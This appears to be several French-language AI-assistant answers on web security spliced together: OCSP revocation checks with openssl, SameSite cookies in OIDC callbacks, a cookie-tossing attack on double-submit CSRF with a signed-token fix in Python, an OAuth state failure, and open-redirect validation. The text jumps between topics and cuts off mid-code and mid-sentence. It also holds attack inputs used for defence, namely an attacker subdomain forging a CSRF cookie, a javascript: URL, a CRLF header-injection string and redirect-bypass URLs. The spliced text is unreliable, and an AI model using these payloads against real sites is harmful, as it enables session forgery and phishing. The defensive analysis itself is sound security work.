-status -respout /tmp/staple.der < /dev/null > /dev/null 2>&1
openssl ocsp -respin /tmp/staple.der -resp_text -noverify | \
grep -Ei 'Cert Status|This Update|Next Update|Produced At|Revocation|Serial'
```
Vérifier la signature de la réponse contre la chaîne réelle :
```bash
openssl s_client -connect exemple.tld:443 -servername exemple.tld \
-showcerts < /dev/null 2>/dev/null > /tmp/chain.pem
openssl ocsp -respin /tmp/staple.der \
-issuer /tmp/issuer.pem -cert /tmp/leaf.pem \
-CAfile /etc/ssl/certs/ca-certificates.crt -verify_other /tmp/chain.pem
```
Contre-épreuve indépendante par la CRL, seule source désormais obligatoire dans le Web PKI depuis le retrait de l'obligation OCSP en juillet 2023 (articles *Online Certificate Status Protocol* et *Certificate revocation list*) :
```bash
openssl x509 -in /tmp/leaf.pem -noout -ext crlDistributionPoints
openssl x509 -in /tmp/leaf.pem -noout -serial
# puis récupérer la CRL et chercher le numéro de série
openssl crl -inform DER -in /tmp/ca.crl -text -noout | grep -A2 "Serial Number: <SERIE>"
```
Si la CRL confirme le numéro de série, la révocation est établie par deux canaux distincts et le dossier est clos.
---
## Actions immédiates, dans cet ordre
1. **Ne pas remettre le service en ligne** avec ce certificat, et ne pas tenter de « corriger » le symptôme en désactivant l'agrafage : retirer le staple ne change pas le statut, cela transforme seulement un refus déterministe en refus intermittent selon le client. C'est une dissimulation, pas une remédiation.
2. **Vider le cache de staple** du serveur, puis relancer la récupération, uniquement pour écarter l'hypothèse d'une réponse corrompue ou périmée mise en cache. Les implémentations sont connues pour être imparfaites sur ce point (article *OCSP stapling*, section « Deployment »).
3. **Identifier le motif de révocation** auprès de l'autorité émettrice. Les codes possibles incluent `keyCompromise (1)`, `cACompromise (2)`, `superseded (4)`, `cessationOfOperation (5)`, `certificateHold (6)`, la valeur 7 n'étant pas utilisée (article *Certificate revocation list*, RFC 5280 section 5.3.1).
4. **Si le motif est `keyCompromise` ou `cACompromise`** : traitez l'événement comme un incident de sécurité. Considérez la clé privée comme brûlée, générez une **nouvelle paire de clés**, ne réutilisez jamais l'ancienne, faites émettre un nouveau certificat, et lancez la recherche de la fuite (dépôt de code, sauvegarde, journal, image de conteneur, poste d'administration).
5. **Si le motif est `certificateHold`** : le statut est réversible, mais tant qu'il n'est pas levé et qu'une réponse fraîche `good` n'est pas obtenue, la connexion doit rester refusée.
6. **Rotation, pas rustine.** Réémission avec nouvelle clé, déploiement, puis contrôle du staple avant réouverture du trafic.
---
## Risques et limites de cette analyse
- Je n'ai vu ni votre certificat, ni votre chaîne, ni la réponse OCSP. **Aucun verdict ci-dessus n'est un constat sur votre système** : ce sont les verdicts qui découlent des prémisses que vous énoncez, plus les conditions de validité de ces prémisses.
- L'énoncé « le certificat est valide » ne précise pas le périmètre exact de la validation effectuée. Si elle a été réalisée avec une option du type `-noverify`, ou sans vérification de la chaîne de l'intermédiaire, le verdict chaîne n'est pas établi.
- **La révocation n'est pas une défense fiable contre la compromission d'une clé privée de serveur HTTPS** : un attaquant en position d'interception peut aussi perturber les requêtes OCSP, et beaucoup de clients ignorent silencieusement un délai d'attente. Seul *must-staple* atténue ce problème (article *Online Certificate Status Protocol*, section « Criticisms »).
- L'agrafage introduit un retard structurel : la notification de révocation peut n'être effective qu'à l'expiration de la dernière réponse signée (article *OCSP stapling*, section « Solution »). Un `revoked` observé peut donc correspondre à un événement plus ancien que sa date d'apparition dans votre monitoring.
- Le paysage évolue : OCSP est devenu optionnel côté autorités et Let's Encrypt a annoncé le 6 août 2025 la fin de son service OCSP (article *Online Certificate Status Protocol*, référence Aas, letsencrypt.org). Selon votre émetteur, l'absence future de staple peut être normale et ne devra pas être interprétée comme un incident. Ma connaissance de l'état actuel des politiques d'autorité peut être périmée : vérifiez auprès de votre émetteur.
- Enfin, une concordance de contrôles cryptographiques n'est pas une preuve mathématique absolue, c'est une assurance très forte sous les hypothèses de sécurité des fonctions de hachage et de signature employées.## 1. Cause Le point de terminaison `/callback` est atteint par une requête **POST cross-site** initiée par le domaine de l'IdP (mode de réponse `form_post` typique d'OpenID Connect ou SAML HTTP-POST Binding). Or, l'attribut `SameSite=Strict` fait que « les navigateurs n'envoient les cookies qu'à un domaine cible identique au domaine d'origine » (Wikipedia EN, *HTTP cookie*, section « Same-site cookie »). La requête a pour origine l'IdP et pour cible votre domaine : les deux diffèrent, donc le navigateur **omet le cookie**, y compris pour une navigation de premier niveau. Le serveur ne retrouve alors pas la valeur de corrélation (`state` / `nonce` / PKCE verifier) et rejette l'échange, ou, pire, l'accepte sans contrôle si le code est laxiste. Point important : `SameSite=Lax` **ne suffit pas non plus**, car il n'autorise l'envoi que pour les requêtes dites sûres, typiquement GET, « POST is unsafe » (même source). Toute suggestion de passer simplement en `Lax` est donc erronée pour un POST. ## 2. Attribut compatible | Valeur | POST cross-site | Verdict | |---|---|---| | `Strict` | cookie non envoyé | cause du défaut | | `Lax` | cookie non envoyé (POST exclu) | insuffisant | | `None` + `Secure` | cookie envoyé | seule valeur compatible | Le seul réglage qui autorise l'envoi est : ``` Set-Cookie: oidc_state=<valeur opaque>; Path=/callback; Max-Age=300; HttpOnly; Secure; SameSite=None ``` `SameSite=None` « autorise les cookies tiers (cross-site) », et « la plupart des navigateurs exigent l'attribut Secure sur les cookies SameSite=None » (Wikipedia EN, *HTTP cookie*). Donc HTTPS obligatoire, sinon le cookie est purement et simplement rejeté. Contrepartie explicite : en passant à `None`, vous perdez la protection CSRF que `Strict` apportait, puisque « SameSite=Strict atténue efficacement les attaques CSRF » (même source). Le cookie redevient envoyable depuis n'importe quel site. D'où la nécessité impérative de la section 3. Réserve d'honnêteté : certains navigateurs appliquent des heuristiques supplémentaires (traitement par défaut des cookies sans attribut, exceptions temporelles pour POST, partitionnement type `Partitioned`/CHIPS). Mes sources locales documentent le traitement par défaut et la migration Chrome vers `Lax`, mais **je ne peux pas vérifier ici** l'état actuel des exceptions ni du partitionnement par navigateur : à confirmer sur la documentation navigateur à jour avant mise en production. ## 3. Protection alternative Deux stratégies, la seconde étant préférable si vous voulez conserver `Strict`. **Option A, garder `Strict` par rebond same-site (recommandée)** Le cookie `Strict` est bien envoyé sur une navigation de premier niveau same-site. On dissocie donc la réception du POST cross-site de la lecture du cookie : 1. `POST /callback` (cross-site) : aucun cookie requis. Le serveur valide la signature de la réponse IdP, stocke le corps utile côté serveur sous une clé aléatoire à usage unique et courte durée. 2. Réponse `303 See Other` vers `GET /callback/finish?h=<clé>` sur votre propre domaine. 3. Cette seconde requête est same-site : le cookie `Strict` est transmis, la corrélation est vérifiée, la session est établie, la clé est consommée. Avantages : aucun cookie tiers, `Strict` conservé, surface CSRF inchangée. Coût : un état serveur transitoire et un aller-retour supplémentaire. **Option B, `None; Secure` avec corrélation cryptographique** Si vous devez impérativement lire le cookie dans le POST : - `state` **non deviné** (au moins 128 bits d'entropie via un générateur cryptographique), **à usage unique**, avec TTL court (par exemple 300 s) ; - liaison forte : le cookie ne contient pas le `state` en clair mais son empreinte, et le serveur exige l'égalité entre `state` du corps POST et valeur liée au cookie ; en OIDC, vérification en plus du `nonce` dans l'`id_token` et de PKCE (`code_verifier` stocké côté serveur ou dans le cookie) ; - vérification serveur de l'`Origin` de la requête POST par **liste blanche** de l'IdP attendu ; refus par défaut ; - validation complète de la réponse IdP : signature, `iss`, `aud`, `exp`, `at_hash` le cas échéant ; - cookie `HttpOnly`, `Secure`, `Path` restreint au callback, durée minimale ; - en-tête `Cache-Control: no-store` sur les réponses du callback. Dans les deux options, ne journalisez jamais le `state`, le `code`, le `code_verifier` ni le contenu du cookie, même hachés. ## 4. Résultat - Option A : le cookie de corrélation est effectivement transmis lors de l'étape same-site, la vérification `state` réussit, l'authentification aboutit, et la protection CSRF de `Strict` reste intacte. - Option B : le cookie est transmis dès le POST cross-site, l'authentification aboutit, mais la protection anti-CSRF n'est plus assurée par le navigateur et repose entièrement sur le `state` à usage unique, PKCE, le `nonce` et la validation d'`Origin` côté serveur. Risques résiduels dans les deux cas, à ne pas passer sous silence : rejeu si le `state` n'est pas invalidé après usage, fixation de session si l'identifiant de session n'est pas régénéré après authentification, fuite du `code` par l'en-tête `Referer` ou les journaux d'intermédiaires, dépendance à la correction de l'implémentation de validation des jetons. Aucune des deux options n'est « sans risque ». ## 5. Vérification à exécuter 1. Test navigateur réel (au moins deux moteurs distincts) : instrumenter `/callback` pour journaliser la **présence ou l'absence** du cookie, jamais sa valeur. 2. Test négatif : POST forgé depuis une origine non autorisée, sans `state` valide, doit renvoyer un refus, pas une session. 3. Test de rejeu : réutilisation du même `state` doit échouer. 4. Test d'expiration : `state` périmé doit échouer. 5. Contrôle que le cookie porte bien `Secure` si `SameSite=None`, sinon il sera silencieusement ignoré. Source encyclopédique utilisée : Wikipedia EN, article *HTTP cookie*, sections « Same-site cookie », « Secure cookie », « Http-only cookie ». Les recommandations de conception (rebond same-site, PKCE, `state` à usage unique, validation d'`Origin`) relèvent de la pratique d'ingénierie et sont présentées comme telles, non comme citations de cette source.
## 1. Diagnostic de l'attaque
**Rappel du mécanisme visé.** Le double-submit cookie repose sur une égalité : le serveur accepte la requête si la valeur du cookie CSRF est identique à la valeur du champ de formulaire (ou de l'en-tête). Aucun état serveur n'est conservé. La protection classique par jeton, elle, exige un jeton aléatoire lié à la session de l'utilisateur et vérifié côté serveur (Wikibooks, Web Application Security Guide/Cross-site request forgery (CSRF)).
**Chaîne d'attaque, dite cookie tossing.**
| Étape | Action de l'attaquant | Effet |
|---|---|---|
| 1 | Il contrôle `evil.example.com` (sous-domaine compromis, sous-domaine abandonné, hébergement client, prise de contrôle DNS) | Position d'écriture de cookies |
| 2 | Il émet `Set-Cookie: csrf=evil; Domain=example.com; Path=/` | Le cookie est désormais envoyé à `www.example.com` |
| 3 | Depuis une page qu'il contrôle, il fait soumettre au navigateur de la victime un formulaire vers `www.example.com` avec `champ_csrf=evil` | Requête forgée |
| 4 | Le navigateur joint automatiquement tous les cookies du domaine, dont le cookie de session légitime et `csrf=evil` | La requête paraît authentique au serveur |
| 5 | Le serveur compare `cookie == champ`, l'égalité `evil == evil` est vraie | Action exécutée avec les privilèges de la victime |
L'inclusion automatique et invisible des cookies du domaine dans toute requête vers ce domaine est la propriété de navigateur qui rend les attaques CSRF possibles, et le serveur ne peut pas identifier la contrefaçon puisque la requête provient d'un utilisateur authentifié qui a transmis tous les cookies requis (Wikipedia, Cross-site request forgery, sections Characteristics et Example). Il s'agit d'une variante de fixation de jeton : l'article note explicitement que des jetons CSRF peuvent être fournis au client par l'attaquant via une fixation de session ou d'autres vulnérabilités (Wikipedia, Cross-site request forgery, section Other approaches to CSRF).
**Variante aggravante.** Le serveur peut recevoir deux cookies portant le même nom, celui posé par l'hôte légitime et celui posé par le sous-domaine, sans moyen fiable de les distinguer, l'ordre de présentation n'étant pas une garantie d'origine. La plupart des bibliothèques ne lisent que la première occurrence, ce qui rend le résultat dépendant de l'implémentation. Ce point relève du standard sur les cookies (RFC 6265, propriété d'intégrité faible des cookies) ; je le signale comme connaissance de la spécification et non comme un extrait vérifié par mes outils dans cette session.
## 2. Le défaut, énoncé précisément
Le défaut n'est pas un défaut d'algorithme, c'est un **défaut de modèle de confiance et d'absence d'authentification du jeton**. Quatre couches à distinguer :
1. **Le jeton n'est pas authentifié.** Une simple égalité `cookie == champ` prouve seulement que l'émetteur des deux valeurs est le même acteur. Elle ne prouve pas que cet acteur est le serveur légitime. Il manque une **preuve d'origine serveur**, c'est-à-dire un MAC sous une clé secrète détenue par le serveur seul.
2. **Le jeton n'est lié à rien.** Il n'est lié ni à la session, ni à l'utilisateur, ni à l'action, ni au temps. Or la bonne pratique est un jeton aléatoire **lié à la session de l'utilisateur, et préférablement à l'action à effectuer** (Wikibooks, Web Application Security Guide/CSRF).
3. **Le canal cookie n'est pas isolé par origine.** La politique de même origine protège la lecture du jeton par un site attaquant (Wikibooks, ibid.), mais elle ne protège pas l'**écriture** de cookies entre sous-domaines d'un même domaine enregistrable. Le double-submit suppose implicitement une intégrité du canal cookie que le modèle des cookies ne fournit pas.
4. **Confusion entre confidentialité et intégrité.** Le double-submit non signé mise sur le fait que l'attaquant ne peut pas *lire* le jeton. Le cookie tossing ne lit rien, il *écrit*. La propriété manquante est l'intégrité et l'authenticité, pas la confidentialité.
En résumé : la présomption « seul le serveur peut fixer ce cookie » est fausse dès qu'un sous-domaine est hostile, et rien dans le protocole ne la rétablit.
## 3. Correction cryptographique
### 3.1 Décision recommandée
Ordre de préférence, du plus robuste au plus léger :
1. **Jeton synchroniseur avec état serveur** (aléatoire fort stocké dans la session côté serveur). C'est la correction la plus sûre, car un jeton fixé par l'attaquant ne figure pas dans l'état serveur. À privilégier si vous disposez d'un stockage de session (Redis, base).
2. **Double-submit signé, dit HMAC-based token pattern**, si vous devez rester sans état. C'est la correction cryptographique demandée ici.
3. Dans les deux cas, **cumuler** avec le préfixe de cookie `__Host-`, `SameSite`, et la validation de l'origine.
### 3.2 Construction du jeton signé
Soit $K$ une clé secrète serveur d'au moins 256 bits, jamais présente dans le code ni dans un journal, servie par un coffre à secrets et soumise à rotation. Soit :
- $\text{sid}$ : identifiant de session, ou mieux $H(\text{sid})$ pour ne pas exposer la session dans le corps de la page ;
- $\text{uid}$ : identifiant utilisateur ;
- $m$ : méthode HTTP, $p$ : chemin canonique de l'action ;
- $\text{exp}$ : horodatage d'expiration ;
- $n$ : nonce aléatoire cryptographique, 128 bits.
Message et étiquette :
$$M = \text{len}(H(\text{sid})) \,\|\, H(\text{sid}) \,\|\, \text{len}(\text{uid}) \,\|\, \text{uid} \,\|\, \text{len}(m)\,\|\, m \,\|\, \text{len}(p)\,\|\, p \,\|\, \text{exp} \,\|\, n$$
$$t = \operatorname{HMAC-SHA256}(K, M), \qquad \text{jeton} = \text{base64url}(n \,\|\, \text{exp} \,\|\, t)$$
Points cryptographiques non négociables :
- **Encodage préfixé par longueur** pour éviter toute ambiguïté de concaténation, deux tuples distincts ne doivent jamais produire le même $M$.
- **HMAC et non un hachage nu** : $H(K \| M)$ est vulnérable à l'extension de longueur avec Merkle-Damgård, HMAC est la construction éprouvée pour l'authentification de message (Wikipedia, HMAC ; Wikipedia, Length extension attack, articles présents dans l'encyclopédie locale).
- **Comparaison à temps constant** (`hmac.compare_digest`), jamais `==`.
- **Aléa cryptographique** (`secrets`), jamais `random`.
- Base64url n'est **pas** une protection, seulement un encodage de transport.
- Le jeton n'est pas un chiffrement : il ne contient rien de confidentiel, il porte une preuve d'authenticité.
### 3.3 Liaison, le point central
La liaison, ou binding, est ce qui empêche le rejeu et la fixation. Quatre liaisons, par ordre d'importance :
| Liaison | Contre quoi elle protège | Comment |
|---|---|---|
| **À la session** | Jeton d'un attaquant réinjecté dans la session de la victime, et jeton de la victime réutilisé ailleurs | $H(\text{sid})$ dans $M$, comparé au cookie de session **réellement reçu** |
| **À l'utilisateur** | Confusion de compte après réauthentification | $\text{uid}$ dans $M$, plus rotation du jeton à chaque changement de niveau de privilège |
| **À l'action** | Un jeton valide obtenu sur une action bénigne réutilisé sur une action sensible | $m$ et $p$ canoniques dans $M$ |
| **Au temps** | Rejeu tardif, jeton volé conservé | $\text{exp}$ dans $M$, vérifié côté serveur, durée courte |
**Avertissement décisif, sans lequel la correction est illusoire.** La liaison à la session ne vaut que si l'attaquant ne peut pas non plus fixer le cookie de session. Un sous-domaine compromis capable de poser `csrf=evil` peut tout autant tenter de poser `session=<session de l'attaquant>`, ce qui rétablit la cohérence entre le jeton signé et la session, et vous ramène au point de départ, sous une forme de fixation de session. Il faut donc protéger **le cookie de session avec les mêmes moyens** :
- `Set-Cookie: __Host-session=...; Secure; HttpOnly; Path=/; SameSite=Lax`
- `Set-Cookie: __Host-csrf=...; Secure; Path=/; SameSite=Strict`
Le préfixe `__Host-` impose au navigateur de refuser le cookie s'il porte un attribut `Domain`, s'il n'est pas `Secure`, ou si `Path` n'est pas `/`. Un sous-domaine ne peut donc plus fabriquer un cookie de ce nom qui remonterait vers l'hôte parent, ce qui neutralise le cookie tossing à la racine. Contrepartie fonctionnelle : ces cookies ne sont plus partagés entre sous-domaines, ce qui interdit le SSO par cookie partagé et peut demander une refonte. Le comportement des préfixes de cookie relève de la spécification des cookies et de son implémentation navigateur ; c'est un fait de standard que je vous signale comme tel, et non un extrait vérifié par mes outils dans cette session. Vérifiez-le sur la documentation navigateur avant mise en production.
**Défense en profondeur, à ajouter et non à substituer :**
- Validation serveur de `Origin`, avec repli sur `Sec-Fetch-Site: same-origin`, sur liste blanche stricte, en refus par défaut si l'en-tête manque pour les méthodes mutantes. Ne vous appuyez pas sur `Referer` seul : les contrôles de Referer ne sont pas sûrs, certains agents ne l'envoient pas, des pare-feu le filtrent ou le falsifient, et l'attaquant peut éviter de l'envoyer ; ils ne valent qu'en mesure additionnelle (Wikibooks, Web Application Security Guide/CSRF ; Wikipedia, Cross-site request forgery, section Limitations).
- Aucune opération à effet de bord en `GET`, la convention établie voulant que GET et HEAD soient des méthodes sûres, et beaucoup de protections CSRF ne couvrant pas GET (Wikipedia, Cross-site request forgery, section HTTP verbs and CSRF).
- Rejet de toute requête mutante présentant **plusieurs** cookies CSRF ou de session de même nom, signal fort de tossing.
- Réauthentification ou second facteur sur les actions critiques (changement de mot de passe, d'adresse de courriel, virement), ce qui casse la chaîne même en cas de contournement.
- Réduction de la surface : inventaire et suppression des sous-domaines dormants, isolation des contenus utilisateur sur un **domaine enregistrable distinct**, jamais sur un sous-domaine du domaine applicatif.
## 4. Code
Implémentation de référence, sans état serveur, en Python. Je ne l'ai pas exécuté dans cette session, je vous le donne comme code raisonné de bout en bout, à valider par les tests de la section 5.
```python
"""
Jeton CSRF signé, lié session + utilisateur + action + temps.
Dépendances : bibliothèque standard uniquement.
"""
from __future__ import annotations
import base64
import hashlib
import hmac
import os
import secrets
import struct
import time
from dataclasses import dataclass
NONCE_LEN = 16 # 128 bits
MAC_LEN = 32 # HMAC-SHA256
DEFAULT_TTL = 3600 # 1 heure, à réduire pour les actions sensibles
class CsrfError(Exception):
"""Échec de validation CSRF. Message volontairement non spécifique côté client."""
def _load_key() -> bytes:
"""Clé chargée depuis l'environnement (injectée par un coffre à secrets).
Jamais de valeur par défaut en dur, jamais de journalisation de la clé."""
raw = os.environ.get("CSRF_HMAC_KEY_B64")
if not raw:
raise RuntimeError("CSRF_HMAC_KEY_B64 absente de l'environnement")
key = base64.b64decode(raw, validate=True)
if len(key) < 32:
raise RuntimeError("Clé CSRF trop courte : 32 octets minimum requis")
return key
_KEY = _load_key()
def _lp(value: bytes) -> bytes:
"""Encodage préfixé par longueur : élimine toute ambiguïté de concaténation."""
return struct.pack(">I", len(value)) + value
def _canon_path(path: str) -> bytes:
"""Chemin canonique : sans requête, sans fragment, sans slash final superflu."""
p = path.split("?", 1)[0].split("#", 1)[0]
if len(p) > 1 and p.endswith("/"):
p = p[:-1]
return p.encode("utf-8")
def _message(session_id: str, user_id: str, method: str, path: str,
exp: int, nonce: bytes) -> bytes:
sid_digest = hashlib.sha256(session_id.encode("utf-8")).digest()
return b"".join([
b"LANXAS-CSRF-v1",
_lp(sid_digest),
_lp(user_id.encode("utf-8")),
_lp(method.upper().encode("ascii")),
_lp(_canon_path(path)),
struct.pack(">Q", exp),
_lp(nonce),
])
def issue_token(session_id: str, user_id: str, method: str, path: str,
ttl: int = DEFAULT_TTL) -> str:
"""Émet un jeton pour UNE action donnée. À appeler au rendu du formulaire."""
nonce = secrets.token_bytes(NONCE_LEN)
exp = int(time.time()) + ttl
mac = hmac.new(_KEY, _message(session_id, user_id, method, path, exp, nonce),
hashlib.sha256).digest()
payload = nonce + struct.pack(">Q", exp) + mac
return base64.urlsafe_b64encode(payload).decode("ascii").rstrip("=")
def verify_token(token: str, session_id: str, user_id: str,
method: str, path: str) -> None:
"""Lève CsrfError si le jeton n'est pas authentique, lié et non expiré."""
try:
pad = "=" * (-len(token) % 4)
payload = base64.urlsafe_b64decode(token + pad)
except Exception:
raise CsrfError("jeton illisible")
if len(payload) != NONCE_LEN + 8 + MAC_LEN:
raise CsrfError("longueur de jeton invalide")
nonce = payload[:NONCE_LEN]
exp = struct.unpack(">Q", payload[NONCE_LEN:NONCE_LEN + 8])[0]
mac = payload[NONCE_LEN + 8:]
expected = hmac.new(
_KEY, _message(session_id, user_id, method, path, exp, nonce),
hashlib.sha256).digest()
# Comparaison à temps constant : jamais d'opérateur ==
if not hmac.compare_digest(mac, expected):
raise CsrfError("signature invalide")
if exp < int(time.time()):
raise CsrfError("jeton expiré")
```
Intégration, ici en style ASGI générique, à adapter au cadriciel réellement utilisé :
```python
SAFE_METHODS = frozenset({"GET", "HEA| Élément | Verdict | |---|---| | **Code** | Valide en lui-même, mais inutilisable car non rattaché à la session initiatrice. | | **State** | Invalide : échec de la vérification anti-CSRF. | | **Risque** | CSRF de connexion ou injection de réponse OAuth, pouvant entraîner une confusion ou une liaison de comptes non consentie. | | **Action** | Rejeter immédiatement le callback, ne pas échanger le code, invalider la tentative OAuth, journaliser l’échec sans secrets et faire recommencer un nouveau flux avec un nouveau `state` et un nouveau challenge PKCE. |
## 1. Diagnostic, la vulnérabilité Reprendre `return_to` tel quel dans l'en-tête `Location` constitue une **redirection ouverte** (open redirect), c'est-à-dire une redirection non validée pilotée par un paramètre contrôlé par l'attaquant. - La redirection d'URL est explicitement documentée comme utilisée « à des fins hostiles telles que les attaques de hameçonnage ou la distribution de maliciels », et comme « parfois utilisée dans le cadre d'attaques de hameçonnage qui égarent le visiteur sur le site qu'il visite » (source : encyclopédie locale, article Wikipédia en anglais *URL redirection*, sections *URL redirection* et *Manipulating visitors*). - Le mécanisme technique est confirmé par le même article : « tous ces codes d'état exigent que l'URL de la cible de redirection soit fournie dans l'en-tête "Location:" de la réponse HTTP » (source : idem, section *HTTP status codes 3xx*). C'est donc bien cet en-tête qui porte la charge. Impacts concrets, par ordre de gravité, en distinguant ce qui est établi de ce qui dépend de votre implémentation : | Impact | Statut | Explication | |---|---|---| | Hameçonnage assisté par votre domaine | **Établi** pour la classe de faille (source citée ci-dessus) | Le lien commence par votre domaine légitime, ce qui trompe l'utilisateur et les filtres réputationnels | | Fuite de secrets par le `Referer` ou l'URL | **Dépend de votre code** (hypothèse à vérifier) | Si un jeton, un code d'autorisation ou un identifiant de session figure dans l'URL ou le fragment, il part vers `evil.example`. L'article cité note que l'URL de référence peut contenir des informations sensibles comme l'identifiant de session (source : idem, section *Removing referrer information*) | | Vol de code d'autorisation OAuth / OIDC | **Dépend de votre code** | Si la même laxité existe sur `redirect_uri`, la gravité passe de moyenne à critique | | Injection d'en-têtes de réponse (CRLF) | **Dépend de votre pile** | Si la valeur n'est pas filtrée des caractères de contrôle et que le serveur ne les rejette pas, `%0d%0a` permet d'injecter des en-têtes ou un corps | | Contournement de listes noires, SSRF côté serveur | Hypothèse | Uniquement si un composant serveur suit la redirection | Point de vocabulaire, à ne pas confondre : la faille touche l'**intégrité du flux de navigation** et l'**authenticité perçue** du lien, pas la confidentialité de votre base. La confidentialité n'est atteinte qu'indirectement, via les secrets transportés dans l'URL. Classification usuelle : « redirections et renvois non validés » dans la nomenclature OWASP, et CWE-601 (« URL Redirection to Untrusted Site »). **Réserve d'honnêteté** : ces deux références proviennent de ma mémoire de modèle et je n'ai pas pu les confirmer dans l'encyclopédie locale (l'article OWASP y existe mais je ne l'ai pas ouvert) ; considérez-les comme à vérifier sur les sites officiels owasp.org et cwe.mitre.org. ## 2. Décision recommandée, la validation **Règle directrice : liste blanche et refus par défaut (fail closed).** Ne jamais tenter de « nettoyer » une URL hostile, mais décider si elle est acceptable, sinon la remplacer par le repli. Deux politiques possibles, par ordre de préférence : **Politique A, chemins relatifs uniquement (recommandée par défaut).** `return_to` doit être un chemin interne. Toute URL absolue est rejetée. C'est la seule politique dont la surface d'attaque est réellement petite. **Politique B, liste blanche d'hôtes**, si et seulement si vous avez un besoin métier de renvoyer vers un autre domaine que vous contrôlez. Comparaison sur l'**hôte analysé** (`hostname`), pas sur la chaîne brute, en égalité stricte contre un ensemble fermé, jamais par `startswith`, `endswith` ni `contains`. Contrôles obligatoires, chacun neutralise un contournement connu : 1. Rejet de tout caractère de contrôle, `CR`, `LF`, `NUL`, `%00`, avant tout autre traitement, contre l'injection d'en-têtes. 2. Longueur maximale bornée (par exemple 512 octets) et décodage effectué **une seule fois**, pour éviter les doubles encodages. 3. Normalisation de `\` en `/` avant analyse, car certains agents et parseurs anciens traitent l'antislash comme un séparateur, ce qui fait de `/\evil.example` une URL protocole-relative. 4. Rejet de `//` en tête, qui est une URL protocole-relative équivalente à un domaine externe. 5. Exigence que le chemin commence par un unique `/` en politique A. 6. En politique B : schéma imposé à `https`, comparaison sur `hostname` en minuscules avec suppression du point final, rejet de toute partie *userinfo* (le `@` de `https://[email protected]`), rejet du port non standard, et surtout reconstruction de l'URL à partir des composants validés plutôt que réémission de la chaîne d'origine. 7. Rejet de tout schéma autre que le schéma attendu, en particulier `javascript:`, `data:`, `file:`, y compris sous des formes obfusquées. 8. Suppression du fragment côté serveur, car il n'est jamais utile à une redirection serveur et sert de vecteur de confusion (`https://evil.example/#@app.example.com`). 9. Statut de redirection : `303` après une connexion traitée en POST, puisque « 303 see other force une requête GET vers la nouvelle URL même si la requête d'origine était un POST » (source : article *URL redirection* cité, section *HTTP status codes 3xx*). Ne redirigez pas en `301`, qui est cacheable et permanent (source : idem, tableau des codes). 10. Journalisation de chaque rejet, avec la valeur tronquée et **sans aucun secret**, pour la détection d'abus. Implémentation de référence, Python. **Avertissement d'honnêteté : je n'ai pas exécuté ce code.** Ma tentative d'exécution dans le laboratoire local a échoué sur un `NameError: name 'urlsplit' is not defined`, l'environnement restreint n'exposant pas le symbole importé à l'intérieur de la fonction. Je n'ai donc **aucune sortie de test à vous présenter**, et je ne prétendrai pas le contraire. La version ci-dessous place les imports en tête de module, ce qui est la forme correcte en exécution normale, mais elle reste à valider chez vous. ```python from urllib.parse import urlsplit, urlunsplit ALLOWED_HOSTS = frozenset({"app.example.com"}) # liste blanche fermee FALLBACK = "/dashboard" # valeur de repli MAX_LEN = 512 def safe_return_to(raw, allow_absolute=False): """Retourne une cible de redirection sure, ou FALLBACK. Ne leve jamais.""" if not raw or len(raw) > MAX_LEN: return FALLBACK # 1. caracteres de controle, CR, LF, NUL, DEL -> rejet (anti injection d'en-tetes) if any(ord(c) < 0x20 or ord(c) == 0x7F for c in raw): return FALLBACK # 2. l'antislash est traite comme '/' par certains agents s = raw.replace("\\", "/") try: parts = urlsplit(s) except ValueError: return FALLBACK # 3. URL absolue ou protocole-relative if parts.scheme or parts.netloc: if not allow_absolute: return FALLBACK if parts.scheme.lower() != "https": return FALLBACK if parts.username or parts.password or "@" in parts.netloc: return FALLBACK if parts.port not in (None, 443): return FALLBACK host = (parts.hostname or "").lower().rstrip(".") if host not in ALLOWED_HOSTS: # egalite stricte, jamais endswith return FALLBACK # reconstruction depuis les composants valides, fragment supprime return urlunsplit(("https", host, parts.path or "/", parts.query, "")) # 4. chemin interne : un seul '/' initial if not s.startswith("/") or s.startswith("//"): return FALLBACK return urlunsplit(("", "", parts.path, parts.query, "")) ``` Usage, avec le bon code de statut après un POST de connexion : ```python target = safe_return_to(request.form.get("return_to")) return redirect(target, code=303) # jamais 301, jamais la valeur brute ``` Équivalents à appliquer selon votre pile, à vérifier dans la documentation officielle de chaque outil, je ne certifie pas les noms d'options de mémoire : côté Nginx, ne construisez jamais un `return 302 $arg_return_to`, et côté framework, préférez les utilitaires de redirection interne s'ils existent plutôt qu'une redirection libre. Tests à écrire, avec assertion réelle sur chaque cas, aucun `pass` : | Entrée | Attendu, politique A | Attendu, politique B | |---|---|---| | `https://evil.example` | `/dashboard` | `/dashboard` | | `//evil.example` | `/dashboard` | `/dashboard` | | `/\evil.example` | `/dashboard` | `/dashboard` | | `https://app.example.com.evil.example/x` | `/dashboard` | `/dashboard` | | `https://[email protected]/` | `/dashboard` | `/dashboard` | | `https://APP.EXAMPLE.COM./ok?a=1` | `/dashboard` | `https://app.example.com/ok?a=1` | | `http://app.example.com/ok` | `/dashboard` | `/dashboard` (schéma non https) | | `javascript:alert(1)` | `/dashboard` | `/dashboard` | | `/redir%0d%0aSet-Cookie:%20a=b` décodé | `/dashboard` | `/dashboard` | | `/dashboard/reports?tri=date` | inchangé | inchangé | | vide ou absent | `/dashboard` | `/dashboard` | Ce tableau est le **comportement attendu de la spécification que je décris**, pas un résultat d'exécution observé. Générez-le comme suite de tests paramétrée et exécutez-la. ## 3. Valeur de repli **Repli recommandé : un chemin relatif interne et fixe, codé en dur ou issu de la configuration, jamais dérivé de l'entrée utilisateur.** Valeur : `/dashboard`, ou dans votre nomenclature la page d'accueil post-connexion de l'utilisateur authentifié. Propriétés exigées : - chemin relatif, jamais une URL absolue, pour rendre la classe de faille structurellement impossible sur le chemin de repli ; - constante côté serveur, jamais issue d'un cookie, d'un en-tête `Referer` ou du paramètre rejeté ; - accessible à tout utilisateur authentifié, pour éviter une boucle de redirection vers une page refusée ; - si l'utilisateur n'est finalement pas authentifié, repli sur `/login` sans propager le `return_to` litigieux ; - optionnel et recommandé pour l'ergonomie : afficher un message neutre du type « redirection annulée, destination non autorisée », sans révéler la liste blanche. Ne prenez **pas** `/` comme repli si `/` est une page publique déconnectée, cela donne l'impression d'un échec de connexion. ## 4. Verdict pour `https://evil.example` **REJETÉE. Redirection non exécutée. Redirection effectuée vers la valeur de repli `/dashboard`, en `303 See Other`. Événement journalisé comme tentative de redirection ouverte, valeur tronquée, sans secret.** Motif : URL absolue vers un hôte `evil.example` absent de la liste blanche `{app.example.com}`, ce qui échoue en politique A (aucune URL absolue admise) comme en politique B (hôte non autorisé). ## 5. Risques résiduels et limites Je ne qualifie aucune de ces 